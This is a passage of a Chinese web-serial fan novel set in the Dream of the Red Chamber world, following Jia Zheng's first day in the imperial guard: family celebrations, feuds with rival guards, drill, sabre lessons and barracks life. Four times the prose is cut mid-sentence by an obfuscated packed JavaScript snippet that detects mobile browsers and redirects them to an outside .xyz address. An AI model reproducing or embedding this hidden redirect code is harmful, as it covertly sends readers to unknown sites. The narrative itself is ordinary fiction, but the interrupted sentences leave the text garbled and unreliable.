他笑道,“敬大哥不愧是我们家最聪明的人,他为我操劳一场,实是无以为报。” 贾珍切了声,用眼角乜斜着贾政,道,“我看小叔才是最聪明,或者应该说是最狡猾的,不声不响的这就活动到御前了。” 贾政敲了他额头一下,斥道,“你小子还学会不拿正眼看人了,给我坐好,这叫机遇只会给有准备的人,要不是你小叔我有本事,机遇来了也抓不住,你要是被王子腾打上门,这会子只能躺在床上看太医了。” 贾珍被噎得不轻,哼一声跑了出去,走前还不忘揉两把贾珠的小嫩脸给自己出气。 贾珠正坐在桂树下的竹席上摆弄花草呢,被揉了脸蛋也不哭,反倒笑呵呵抓起一朵花邀大哥哥一起玩儿。 贾珍刚被珠儿的爹教训过,才不想跟他玩儿呢,又哼了声一溜烟跑出院子。 贾珠举着小花花,看大哥绝尘而去,不跟他玩儿还跑过来撩闲,脾气再好的宝宝也绷不住了。 贾政一直盯着贾珍呢,见宝贝儿子被气着了,在他大哭之前坐到对面,笑道,“爹爹跟珠儿玩好不好?” 贾珠立时就把倒霉大哥抛到脑后了,抓起亲自扯下来的花瓣放到贾政手上,他自己也拿了几片,举高小手再放开,看花瓣旋转着飘落,开心得直拍小手。 贾政从没见他这么玩过,珠儿才五个月,感统能力过于优秀了吧? 再看他的坐姿,虽说要靠在特制的靠枕上,能坐得如此稳当也很难得了。 抓握东西也很精准,该说不愧是功勋人家养出的孩子么,生来就身体素质优越,说不定也是个习武天才。 命奶娘拿来针线,贾政把花瓣用线穿起来,穿成几串挂在桂树上随风飞舞,让贾珠抓着玩儿。 贾珠从没抓过这么灵活的物品,扎着两只小手乱抓,笑得咯咯的。 陪贾珠玩到太太派人来请,荣国府全家,包括王氏一同来到宁国府,与全族老少共同庆贺贾政进入官场,成为皇帝近臣。 宁国府几重仪门大开,内外两个的席面都摆好了,还请了一档子打十番的,并两班小戏,只小半天时间就准备得如此周全,难为贾敬夫妻是怎么做到的。 贾政先去祠堂敬香,告知先祖贾家又出了一个出息的子孙,然后逐一拜见族中长辈,接受同辈贺喜,又受了小辈们的礼,这才入席享受酒戏。 内宅席上就简单多了,全族都听说了王氏做的恶心事,知道这位二奶奶以后再威风不起来了,只当看不见她阴沉的脸色,自顾自吃酒说笑看戏。 贾政很喜欢自家酿的米酒,细腻清甜,还有淡淡的桂花香,好喝不上头。 贾敬却不能让他由着性子喝,只两杯就让人换上了甜酒酿,提醒道,“明日起就要去侍卫营当值了,以后在外面吃酒也要注意,顶着一张宿醉的脸去晨训,那可是要吃苦头的。” 贾政点头受教,又想起一件事,“圣寿节前我听说回部要来京都,敬大哥知道他们什么时候到么?” 贾敬没好气的瞪了他一眼,“你都到御前了,还惦记着回部呢,之前就因为这件事逃学,满京都里闹腾成什么样了,今儿听说你进了御前,礼部的大人们还拿这件事说笑呢。” 贾政一摊手,“我不也是想找个出路吗,都快及冠的人了,总不能一直靠家里养吧。” 贾敬哼了声,又扫了眼正跟同族兄弟划拳的贾赦,不禁笑了起来,“前两个月我还发愁你们兄弟的出路在哪里,这才多长时间啊,就都进益了,赦儿在内务府干得不错,你又进了御前,我贾家再无忧心之处了。” 贾政凑到他耳边,压低声音提醒道,“这一切都是皇上给的,敬大哥知道我的意思吗?” 贾敬白了他一眼,“当我是傻子吗?你都在御前当差了,我再接触太子不是找死么。就算我愿意作死,太子也不敢这么干,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15980999|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着好了,你舅舅那个詹事府的差事也当不久的。” 贾政窘了下,他都忘记自己还有外祖和舅舅了,外祖家有六个舅舅,跟太太一母同胞的嫡出舅舅却只有一个,太太出阁时他才七岁,之前又分隔两地十几年,太太平时也很少提起他。 舅甥关系本就一般,如今再受他的拖累,连官职都要保不住了,过几天去给外祖贺寿时不会被打出来吧? 贾政可怜巴巴看向贾敬,“我们能想办法再给舅舅谋个职位么?” 贾敬好笑的摇头,“你外祖可是保龄侯,致仕时又授封尚书令,詹事府那些人是不会把事做绝的,自然另有职位安排他,说不定官职还能提一提。他现在是正六品,再提就是从五品了,啧,那些三甲同进士混一辈子,都未必能越过六品去。” 贾政松了口气,能不被舅舅记恨他就放心了。 次日卯时,贾政体验了一把老爷太太的联合叫醒服务,太太捏耳朵,老爷掀被子,命松烟几个把他整个人从床上架了起来。 双腿落地时贾政还迷糊着,直到冷帕子呼在脸上,才打个激灵清醒过来。 拿下脸上的帕子,贾政无奈道,“侍卫处比国子监近多了,至于天还没亮就把我叫起来吗?” 贾代善一本正经的点头,“至于,第一天入职,怎么着也得提前两刻钟报道,才能显出诚心来。还得去看你大嫂送的院子呢,你坐青油车,再带过去一匹战马,都放在院子里,预备着有事的时候用。” 贾母也道,“我命人做了□□甜粳粥,炸了肉饼和几样小菜,在晨练前一个时辰吃了,才能既垫了肚子,又不会在训练时难受。” 父母的拳拳爱子之心让贾政心里暖暖的,各抱了下老爷和太太,在两人的笑骂声中快速解决早饭,然后整装戴冠,挂上绣春刀和腰牌,来到荣禧堂时贾赦和石氏都在这里等着了。 贾赦笑道,“我弟弟穿上这身飞鱼箭袖可真精神,今天是政儿你头一天当职,哥哥送你过去。” 贾政拱手,笑道,“那就有劳大哥了。” 告别太太和石氏,父子三辆青油车出了荣国府,贾敬父子的车已经在门前等着了。 掀开车帘相互打过招呼,五辆车就出发了,这次要往宁荣街的西边走,侍卫处在西安门以里,紧贴着大明宫的西宫墙。 贾政在车上盯着怀表,此时天色渐亮,卖早点的刚刚出摊,街上行人寥寥,以当前的车速也需要一刻钟才能到达西安门。 车队又拐到对面,来到第二趟街,停在一扇黑油大门前,已经是卯时过半了。 贾母派来整理院子的管事开门迎了出来,贾政一行人下车走进小院,大门对面是花开富贵的影壁,一进院没有屋子,最里面是马棚,空出来的地方足够停下五辆车的。 二进院的布局有些紧凑,五间正房配耳,东西厢和倒座一样不缺,三进则是个小花园,后罩房直通到东西院墙。 贾代善含笑点头,“不错,很规整的小院子,给政儿歇脚刚刚好,老大家的有心了。” 36.第三十六章 撑腰 贾政向贾赦拱手,笑道,“请大哥代我谢谢大嫂,回头请大嫂指几样喜欢的东西,弟弟一准弄回来。” 贾敬点头,“是得好好感谢,如今想在西安门附近找这样的院子可是难了。” 贾赦笑道,“我们兄弟不用这么客套,你送我几坛子好酒就齐活了。” 他不着调的回答立即引来父兄训斥,几人只在小院待了不到一刻钟便再次上车,来到西安门前。 四人再次下车,臣子的车马是不能进入宫门的,哪怕西安门这边连外朝都算不上,只要在宫墙以内的地方,就不能乘车骑马进入。 贾政下了车,立即在守门的监门卫里发现几个眼熟的人,正是陪王子腾找他麻烦的怂货,被谢鲲几人盯着,他们眼睁睁看着王子腾挨揍,连汪一声都不敢。 此时所有监门卫的视线都落在贾代善身上,眼中的不知所措十分明显。 贾政办案多年,对人的情绪变化非常敏感,略一思索就明白他们为何会无措,以及老爷亲自送他来上差的原因了。 王子腾是监门卫的人,他打败王子腾进入御前,就相当于踩着监门卫平步青云,丢了这么大的脸,他们岂能善罢甘休,肯定会想办法报复回来。 这些人甚至不用做什么,只要找理由把他拦在宫门这里,错过第一次晨训时间,他就会受到卫胜青等人的严厉责罚,留下这个坏印象,想在团队里立足可就难了。 贾政崇敬又感激的看着老爷,在两位老国公过世后他一力支撑宁荣两府,又要为儿孙的前程操劳,真是辛苦老爷了。 贾代善呵呵一笑,对儿子敏锐的感知能力相当满意,虽说在处事上还带着几分生嫩,很多事也想不周全,单凭这份眼力就差不了。 这队监门卫正如贾政所想那般,就是故意来找他麻烦,替好兄弟出气的。 可谁也没料到荣国公会亲自送儿子来上差,贾代善别看官职不高,却是开国八个公爵府的核心人物,又与四位郡王交好,得罪他就等同于得罪了四王八公,弄不好是要掉脑袋的。 这队监门卫只好捏着鼻子自认倒霉,连贾代善递到面前的腰牌都不敢接,恭恭敬敬迎他们进入宫门。 贾珍挥手向长辈们道别,等贾政他们走进宫门,他才沉下脸来,眯着眼逐一打量几个监门卫,直到把他们看得全身发毛,才冷哼一声上车离去。 步入宫门,就来到了另一个世界,西安门虽是在大明宫最西边,与皇宫的主体建筑间隔着很多衙门和整个太液池,但走进宫门就进入了代表帝王威严的皇城,庄严肃穆的压迫感像巨石般横在心头,让人连大气都不敢喘一下。 四人沉默着走在宫道上,经过鸽子房和藏经库,在西花房前向北走,又经过司礼监的经厂,再绕过清馥殿,就到侍卫营的地盘了。 侍卫营的主楼是前朝大名鼎鼎的豹房,后来被改成养马的御马间,走进大门右手边就是羽林卫的马棚。 御前三卫中只有羽林卫配了战马,也才不到一百匹,被全卫当成眼珠子宝贝着,早到的人都在这里看马仆洗涮马匹。 贾代善当先走进侍卫营,立即被眼尖的人发现了,其他人听到向荣国公问安的声音也都围了过来,好奇这位大神跑到侍卫营做什么? 贾政发现江离也在人群里,便指着他对贾代善笑道,“老爷,那位是我的队长,江离江大人。” 贾代善拱手笑道,“小儿顽皮,以后要麻烦江队长多加教导了。” 贾敬和贾赦也向江离拱手问好,客气道,“有劳江队长了。” 江离哪敢受国公爷的礼,拱手连道不敢,又向贾敬两人还礼,全场数他最忙。 贾代善明白自己再待下去就是为难人家了,对贾政道,“好生听江队长的话。” 又向众人告辞,便带着贾敬和贾赦离开了。 众人送到侍卫营门口,看着贾代善走远,又把目光落到贾政身上。 有人打趣道,“国公府的少爷果然矜贵,上差都要国公大人亲自送到大门口。” 贾政心说这人是谁啊,当别人听不出他明着打趣,暗中抹黑嘲讽么,想让他认下娇贵大少爷的头衔是没可能的,他拉住要反唇相讥的江离,抬手就把黑锅扣到王子腾头上。 “老爷是担心我得罪了王子腾,进宫门时会受到为难,才亲自送我来的。在西安门那里果然看到了陪王子腾找我麻烦的几个人,要不是老爷送我进来,弄不好就要迟到了。” 贾政拍着胸口,一副后怕又庆幸的样子,其他羽林卫却不淡定了,侍卫营是三卫共用的,这里就站了不少监门卫的人,他们直刺刺的瞪着旁边的监门卫,问贾政,“你说的是真的?” 贾政肯定的点头,“真的啊,就是不知他们现在还在不在了。” 江离嘿了声,“贾政已经是我们羽林卫的人了,王子腾那些人还敢明目张胆的找他麻烦,他们是吃熊心豹子胆了不成。” 有人起哄,“走,去看看,当职时间,量他们也不敢跑了。” 羽林卫群情激昂,乱哄哄往西安门走,贾政傻眼的跟在后面,不明白这些人这么激动做什么,都是二三十岁的成年人了,还这么热血的么? 江离拉着他,解释道,“御前三卫除了打旗撑幡的龙禁卫,羽林卫和监门卫之间竞争激烈,遇到能踩对方一脚的机会是绝不会放过的,你以后也要小心了,绝对不能输给监门卫的人,输了也要尽快找回场子,否则是会受到排挤的。” 贾政点头表示受教,众人来到西安门,发现王子腾的几个朋友果然都在这里,所有人都怒了。 江离喝问道,“你们想干嘛?贾政是我的队员,欺负他之前问过我的意见了吗?” 那几个监门卫也不淡定了,他们正担心会遭到宁国府小霸王的报复,结果贾政又招来这么多羽林卫,这是想让他们在京都混不下去吗? 一人指着贾政,怒道,“你个卑鄙小人,竟然敢告黑状。” 明明是自己理亏,还要倒打一钯的话把所有人都气乐了,开始七嘴八舌的讨伐几人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990264|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是一个营混出来的,谁不知道谁啊,就王子腾那个人嫌狗厌的脾气,要不是有个当地方大员的县伯老爹,谁愿意搭理他啊,他们几个才是趋炎附势的小人,还敢骂别人卑鄙。 这边正闹着,远处突然传来了拍手声,听到的人俱是一静,转头向宫道东边看去。 江离小声对贾政道,“宫里禁止高声喧哗,贵人路过时都会有内侍在前面拍手开路,听到拍手声只管躲开就是了。” 贾政应了声,看着快速接近的宫车,心说今天这位贵人肯定是躲不掉了,不知车上的谁,又为何会走得这样急。 堵在宫门前的众人分开两边,站在路边垂手侍立,东边路上只有一辆宫车,前后的内侍和羽林卫不到二十人,都小跑着跟随在左右。 宫车在接近西安门时慢慢减速,车尾停在贾政身边,车门打开后司徒衡的俊脸出现在面前。 他挥手免了众人的礼,对贾政笑道,“今天就来当差了?” 贾政抬头看着司徒衡,突然生出他是专为自己而来的想法,是担心他会被挡在宫门外面吗? 司徒衡见贾政愣愣点头,一瞬不瞬盯着自己,像只发呆的小奶猫,脸上的笑容更深了几分。 “我的王府就在西安门附近,等开府了请你来家里玩儿,训练要注意安全,不要伤到自己。” 贾政肯定了这人就是专程来给自己撑腰的,可是当着这么多人的面,他又不能多说什么,只能用眼神表示感谢,拱手道,“臣明白的。” 明白二字包含了太多内容,司徒衡心中欣喜,又勉励几句便回车出宫去了。 经他这么一打岔,众人也没了斗气的兴致,同时把贾政的不好招惹等级调到最高,人家可是能被皇子请去家里玩儿的人啊,他们还是客气些吧。 江离招呼大家回侍卫营训练去,进了院子又给贾政介绍侍卫营各处的用途。 御前三营以羽林卫的品级最高,同样是正六品,贾政只是最低等的队员,王子腾却是监门卫的小队长。 在营区的居住条件也有很大区别,羽林卫的营盘在大门右边,前面是马棚,后面是纵横交错的六个连体式建筑,紧临着太液池,风景十分优美,每人都有用于休息的独立单间,还有十个公共浴池供训练后清洁使用。 大门左边的监门卫营盘就要差上很多,只有三趟上房,勉强能住下当天轮职的人。 龙禁卫的营盘在最西边,宫墙下边是存放仪仗的库房,外面是两排厢房,没几个正经休息的地方,有些人只能在空着的库房里暂时歇脚。 贾政没想到龙禁卫的待遇会这么差,好奇道,“龙禁卫不是有很多恩荫进来的人么?那些大少爷肯在库房里休息吗?” 他还想着实在不行就给贾珍捐个龙禁卫呢,如果待遇是这样的还是算了吧,能捐的官那么多,没必要非得在御前吃苦。 有人在背后嗤了声,“大少爷又能怎样,御前可不是谁都能来撒野的地方,小子,听说你功夫不错,怎么样,敢不敢跟我比划比划?” 37.第三十七章 晨训 贾政回头看去,说话之人高个长方脸,吊梢眉,眼神中除了对战斗的狂热再没别的了,有点傻兮兮的。 不待贾政开口,已经有人扑上来抓住他往远处扯了,嘴上还不忘念叨,“吕大壮,马上要训练了,你别见个人就挑衅,想被吕大人抽藤条吗?” 目送姓吕名大壮的傻大个被人拖走,贾政小声询问江离,“队长,这人是内卿吕大人家的亲戚?” 江离苦笑,一旁有人小声插话,“什么亲戚啊,吕大壮就是吕大人的独子,四十岁上才有的他,据说刚出生时才猫崽子大,吕大人怕他难养活,就起名大壮了。” 又有人接话道,“吕兄不负老爷所望,长得确实又高又壮,功夫也不差,就是这脑子……总之你别搭理他就完了,他那小队的人会盯着他的。” 贾政扯了扯嘴角,除了对吕大人的无限同情,也不知说什么才好了。 侍卫处内卿是从三品,必须由科举入仕才能担任,学霸生了个武力值爆表的傻儿子,槽点多到他都不知从何处下嘴了。 江离呵呵笑道,“你们别讲究别人了,向贾政自我介绍一下吧,以后就是一个锅里吃饭的兄弟了。” 与贾政同属十六大队,左分队,一小队的只有四人,队长江离,性格爽朗,英挺帅气。 队员丁全思,气质儒雅,喜欢说笑。 包武长得其貌不扬,却是个打听小道消息的高手。 冯有身形魁梧,沉默寡言,是队友中力气最大的。 加上贾政,十六左一小队总共才五个人。 贾政一一见过队友们,同样作了番自我介绍,“我叫贾政,家中次子,擅长拳法和腿法,刀法一般般,体力更没眼看,还请几位哥哥多加关照,下差后我请客,地方随便挑。” 包武叫了声好,一把勾住贾政肩膀,笑道,“嘿嘿,小子,哥哥们可有个好去处,今儿就带你见识见识。” 贾政见另外三人都憋着笑,就知道不是啥好地方,但他也不带怕的,“好啊,我自小在江南长大,还没见识过京都繁华呢,就请哥哥们带我开开眼界吧。” 冯有啧了声,瓮声瓮气道,“我就说吓不到他吧,国公府的少爷,什么没见识过。” 江离摇头,笑道,“未必,他是不知道要去何处才会这么淡定,以贾公爷护犊子的脾气,是不会允许贾政去那些地方的。” 贾政有点明白队友们想带他去哪种地方了,上辈子都是他带队查抄带颜色的营业场所,在红楼世界书寓清馆反倒成了高雅的娱乐场,他还要亲身去体验一番,就挺神奇的。 他们边说话边往北面的内教场走,辰时一到教场上就有哨声响起,江离拉着贾政走到十六大队的队列,站在左一小队的位置。 一同晨训的御前侍卫有上千人,只占了内教场不到五分之一,先由各大队正副队长训话,而后就开始了今天的队列练习。 贾政此时才知道原来古代也会练队列,而且是全民最熟悉的站军姿,待会儿该不会让他们踢正步吧? 十六大队的正副队长一直盯着贾政,眼见两刻钟快过去了,他依旧站得笔直,队长冯欣先是松了口气,又小声嘀咕,“不是说荣国府溺爱子嗣吗?这贾政一看就是受过训练的,我都舍不得让我家小子站这么久,哪里溺爱了。” 副队长廖望叹道,“京里的闲话哪有做准的,长辈溺爱也拦不住人家孩子天生就乖巧懂事,你看户部左侍郎家的独子,十六岁就考上举人了,我们怎么就养不出这样的呢。” 两人齐齐叹气,军姿过后又指挥队员练习行进队列。 护卫在皇帝身边的羽林卫不仅要警惕周围情况,还要保持昂扬气度和整齐队列,御前侍卫的军容军姿关系着皇家脸面,是每日训练的重中之重。 对贾政而言队列练习也很轻松,每个小队站成一排,绕着教场走两圈,在行进中昂头挺胸,与队友保持平齐就算合格,比在队列方阵里踢正步容易多了。 队列训练只有这两项,贾政全部顺利过关,结束后还有一刻钟的休息换装时间。 江离拉着他快速向小队的营房走去,丁全思跟在后面呵呵笑个不住,“贾政你太厉害了,第一天参加训练就能走得这样好,其他小队还等着看我们笑话呢,这下可让他们失望了,哈哈。” 江离也笑道,“站姿走姿倒罢了,国公府养出来的仪态再不会差的,没想到贾政你行进时也能走得这样齐整,我们可是挨过不少骂才能与身边人保持平齐的。” 包武好奇道,“贾政,你在家里练过吗?” 贾政一时竟有些回答不上来,上辈子从小学就开始军训,他都记不清第一次练队列是什么时候了,又是怎么学会与同排人保持在一条水平线上的,练习多年都快变成本能了。 他随口答道,“小时候看过老爷训练新兵,我们接下来还要做什么?” 几人先是感叹荣国公治军严格,又向贾政解释羽林卫的各项制度,羽林卫定额是一千五百人,分为三十个大队,每队定额五十人。 轮值时又分为六组,每组五队,三个时辰轮换一次,子时到巳时为早班,午时到亥时为午班,当职三天休息一天。 每次轮休过后,大队在排班表上的位置都会后移一位,分组和当值的班次也会做出相应调整。 贾政听到轮值和班次两个词就脑袋疼,上辈子就轮班轮到不成人样,都穿越成国公府的少爷了,还是摆脱不掉这件事,唯一的进步是做得不好皇帝会直接砍他脑袋,不会再有人用撒泼打滚和答非所问折磨他了。 苦笑着来到自家地盘上,从外面看羽林卫营盘乱糟糟的,走进去才看出是一个连一个的院子,每队一个小院,院内正房和东西厢房俱全。 十六大队很幸运的分到了第二趟的最东边,左分队所在的东厢窗外就是太液湖,是侍卫营风景最好的院子之一。 东厢前面又用木栅栏分成四个小区域,每个小队一个整间,里面再分成六间筒子房,贾政的房间在东厢第五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16000115|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间,里面不到十平,门对面是窗户,一张单人木床,一桌一椅一个衣柜,就是全部家当了。 见贾政站在门前,迟迟不进去,住在隔壁的包武拍了他肩膀一下,安慰道,“虽然条件简陋了些,但每天有人打扫,还是很干净的。” 栅栏外有人嗤笑一声,“大少爷哪见过这么破烂的地方,国公府下人住的都比我们这里强吧。” 贾政最讨厌这种阴阳怪气的语调,当即不客气的怼回去,“是啊,我家下人住的确实比这里好,兄台要是想卖身为奴,我回头就打发人牙子送卖身契来。” 他的话引来一片哄笑,那人立马就上头了,吼道,“你等着,我们在教场上见真章。” 江离冷笑,“你小子在御前十来年了,居然有脸挑衅一个才入职的,我看你这辈子也就这样了。” 贾政对这种幼稚的挑衅完全无动于衷,他看着站在栅栏外的男人,从眼角的纹路判断至少三十四五了,还戴着六品补子,难怪怨气这么大。 “那就教场上见啊,想挑战就直说呗,大男人这么嘴碎做什么。” “你……”那人暴怒,恨不得活撕了贾政。 “行了。”威严的声音在院门口响起,冯队长大步走了进来,训斥道,“同队的人吵成这样,也不怕外人看笑话,快点换衣服,迟到的人就绕教场跑十圈。” 十六院瞬间变得静悄悄,冯队长比洪亮还要高壮,魁梧得像扇门板似的,目送他消失在正房门内,大家立即窜回屋里换作训服去了,教场大到战马跑十圈都得喘好一阵子,他们可不想受那活罪。 贾政的作训服已经摆在床上了,纯黑色的短打加短筒靴,专为方便打架准备的。 快速换好装,众人又急急忙忙的赶去教场,贾政莫名道,“为什么不在训练一开始就换上作训服?不觉得麻烦么?” 冯有苦笑,“为了能在中途休息一下啊,上任内大臣是行伍出身,喜欢亲自主持训练,一个时辰训下来都累成狗了。参加晨训的都是要上午班的大队,头午班就在一个时辰之后,累得蔫头耷脑的还怎么当职啊。” 丁思全笑道,“吕大人就提出练队列时要穿飞鱼箭袖,才好看出训练效果,这才为我们争取到一刻钟的换装休息时间。” 原来如此,贾政又看向冯有,问道,“冯大哥是冯队长的本家吗?你们长得有点像呢。” 冯有惊诧道,“你从哪里看出我们像的?除了身材高大,我们找不出像的地方吧?” 贾政摇头,“我也说不上来,就是觉得你们一举一动有些相似。” 这下全队都惊讶了,江离笑道,“小子你的眼光挺毒啊,冯有跟冯队长虽然长得不像,但确实是叔侄关系,除了你之外从没被人看出来过。” 贾政笑道,“我家里人口多,眼力还是有一些的,既然队长是冯大哥的叔父,对我们小队肯定有特殊照顾吧。” 冯有脸颊抽搐,“这回你猜错了,我是他叔叔。” 啊?! 38.第三十八章 刀法 冯家老爷是直隶的正五品千户,冯有是老来子,十六队的队长冯欣则是他大哥的嫡长子,两人虽是叔侄关系,他这个小叔却比大侄子小了近十岁。 冯老爷不放心小儿子,等冯有考到御前,就让大侄子把他要到手下当队员,因此才形成了侄子关照小叔的奇特关系。 “挺好的啊。”贾政并不觉得有问题,“出门在外最重要是有人关照,管他是打哪儿来的呢,至少我们小队不用担心被推出去顶包了。” 队员们都点头认同贾政的观点,有队长罩着,他们确实能轻松很多。 冯有松了口气,笑道,“你不觉得别扭就行,因为这层关系,我们左一小队没少被其他小队嘲笑。” 贾政哼了声,“他们那是嫉妒,谁不想头上有人罩着啊。” 队友们都笑了起来,丁全思笑道,“贾政,我发现你这人还挺好的,一点也看不出大少爷的骄娇之气。” 贾政也笑了,“挣下这份家业的是我祖父和父亲,我连一个铜钱都没赚到过,有什么可骄傲的。” 他们说笑着回到内教场,休息过后就要开始体能训练了,先是慢跑,后是蛙跳,等筋骨完全舒展开,又开始绣春刀法的演练。 因贾政是第一天入职,冯队长便把他叫到一边,亲自教导刀法。 冯队长抽出自己的配刀,布满花纹的刀身寒光逼人,“绣春刀,是从腰刀衍化而来的特种刀具,刀身狭窄略弯,灵活轻巧,便于携带和近距离攻击,既可以单手突刺,也可以双手劈砍,在前朝就是御前专用的配刀。 经过本朝能工巧匠的数次改良,每一柄绣春刀都是千锤百炼之作,刀锋犀利,双手持刀可把整只马头砍断,在市面上极为罕见,贾政,你以前练过绣春刀吗?” 贾政站得笔直,回答简练,“没有。” 冯队长含笑点头,“嗯,是军人的样子。听出我问题的陷阱在哪里了吗?” 贾政点头,“绣春刀乃御前之物,外人别说练过,摸一下都是死罪。” 所以他才不肯让贾珍看刀,万一让那小子说出去,宁荣两府就有乐子瞧了。 冯队长啧了声,“诶,最讨厌你这种不用教就啥都懂的部下了,这让我怎么立威啊。” 贾政好笑道,“队长不用立威我也会服从指挥的,费那个事做什么,快点教我刀法吧。” 冯队长瞪了他一眼,压低声音道,“急什么,摸鱼你懂不懂?” 贾政差点翻白眼,“整个羽林卫只我一个不会用绣春刀的,怎么能不着急,我的体能大概也是最差的,队长有快速长力气的办法么?” 冯队长一拍肚子,发出砰的一声,“吃啊,听听这声音,实心的将军肚,砍不透扎不漏,练刀一天都不带累的。” 贾政叹气,“那就没办法了,我家祖上八辈贫农,至今也没一个能吃胖的。” 脂包肌确实力大无穷,但贾家的美貌基因却更胜一筹,富贵了四十多年,愣是没养出一个胖子,包括府外那几房族人也是挺拔清秀,想吃成冯队长这样难度不是一般的大。 冯队长哈哈大笑,“不愧是卫胜青那小子看中的人,贾政你太有意思啦。” 贾政愣了下,这才想起左右四个分队长一直没出现过,他也不敢多问,开始在冯队长的亲自示范下认真学习绣春刀法。 天下刀法都是由基础刀法衍化而来的,刺、劈、斩、剁、挑、扫、撩、砍、削、截、挂、点、崩,十三式刀法因运用场合不同,每种刀法都有独特的运用方法。 贾家的伏魔刀法是在战场上通过实战完善出来的,以攻代守,刚猛无敌。这类大开大合的刀法很容易伤人伤己,并不适合在狭窄建筑内部近身战斗。 绣春刀法则更加灵活精准,以守为攻,侧重格挡和突刺,以保护安全为主,并不要求一定要斩杀敌人。 贾政有刀法基础,上手十分迅速,晨训结束时已经把套路全部记熟了,接下来就是不断练习直到融会贯通,这个就不用人教了。 晨训刚一结束,江离就招呼贾政跟上来,而后他就带头向营区跑去,其他人也是同样的动作,跑得像后头有人追杀似的。 贾政不明所以,只得也跟着跑起来,回到营盘才知道他们为什么跑这么快,原来晨训过后还有早膳供应,跑慢就抢不到好菜了。 食堂在营区中心,贾政赶到时队友已经帮他拿好饭了,羊肉包子堆了满满一托盘,还有水煮蛋,炖的猪肉豆角粉条,以及满满一大盆鲜虾豆腐汤。 贾政自穿越以来就被各色精致美食养着,时间长了反倒觉得嘴里没味道,甚至开始怀念学校食堂的大锅菜。 看到羽林卫的食堂饭菜这么接地气,他开心道,“好丰盛啊,我馋包子和炖菜好久了。” 不等别人说话,卫胜青就笑道,“我也觉得我们食堂比王府的饭菜好吃,不论什么东西,经那些厨子的手就吃不出原味了。” 大家都被突然出现的分队长吓了一跳,江离用汤把包子送下去,才报怨道,“分队你能不能别总是神出鬼没的,差点噎死我。” 卫胜青哼了声,坐到贾政身边,拿起包子咬了两口,才道,“这就吓着了,看到下次轮职表你还不得气死。” 听到的人俱是脸色一黑,只有贾政举着包子呆呆的,不明白轮职表能出什么问题。 早午四个班次而已,就算排到早一班,要从晚上十一点工作到次日早上五点,也不至于气死吧? 丁全思苦笑着跟他解释,“今天是这个班的最后一天,明天休息,后天再来就会变更分组和班次了。排在哪个班次无所谓,主要是不能和讨厌的大队一起轮值,有些家伙能把人烦死。” 卫胜青叹气,“我们这次就遇到难缠的了,四大队那家伙仗着祖父是保龄侯,向来嚣张跋扈招人烦,想到要跟他共事三天我就头疼。” “怎么遇到他了?”坐在附近的都是十六大队的人,听说下次会遇到四大队,全都哀嚎起来。 贾政比他们还不淡定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16009035|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“不是,我怎么不知道我外祖家还有表哥在羽林卫?” 这就是顶级大贵族的待遇么,满朝都是亲戚,随便一个被人吐槽头疼的对象都能跟自家扯上关系,贾政有点消化不良。 诶?众人都看向贾政,卫胜青啊了声,“对啊,你外祖父就是保龄侯啊,你不知道史缶是谁吗?” 贾政茫然摇头,“我没听说过,我只有一个嫡出的舅舅,他三个儿子最大才九岁,那个史缶多大了?” “史缶他,有二十八九岁了吧。”卫胜青也不能确定。 贾政窘着脸计算,“我外祖父马上就要过六十六大寿了,有个年近三十的孙子,也算合理吧。” 江离好笑道,“年纪不是问题,你怎么连外祖家有多少表哥都不知道啊?” 贾政无奈道,“我外祖家人太多了,加上我在江南长大,去年才回京都,有多少个舅舅我都不清楚,更别说表哥了。” 众人都笑起来,“没事,你不认识史缶,他肯定认识你,当职时吓吓他,保证我们平安度过下次轮职就行。” 贾政应了声,并不觉得这是多困难的事,史家外祖父就一渣男,家里有多少妾室他自己都没数,对庶出子女就更无视到底了,量那个史缶也不敢在他面前炸翅。 用早膳,贾政又被队友们拉去浴堂洗澡,七月的天随便动一动就是一身汗,满身汗臭味万一熏到皇上,几个脑袋都不够砍的。 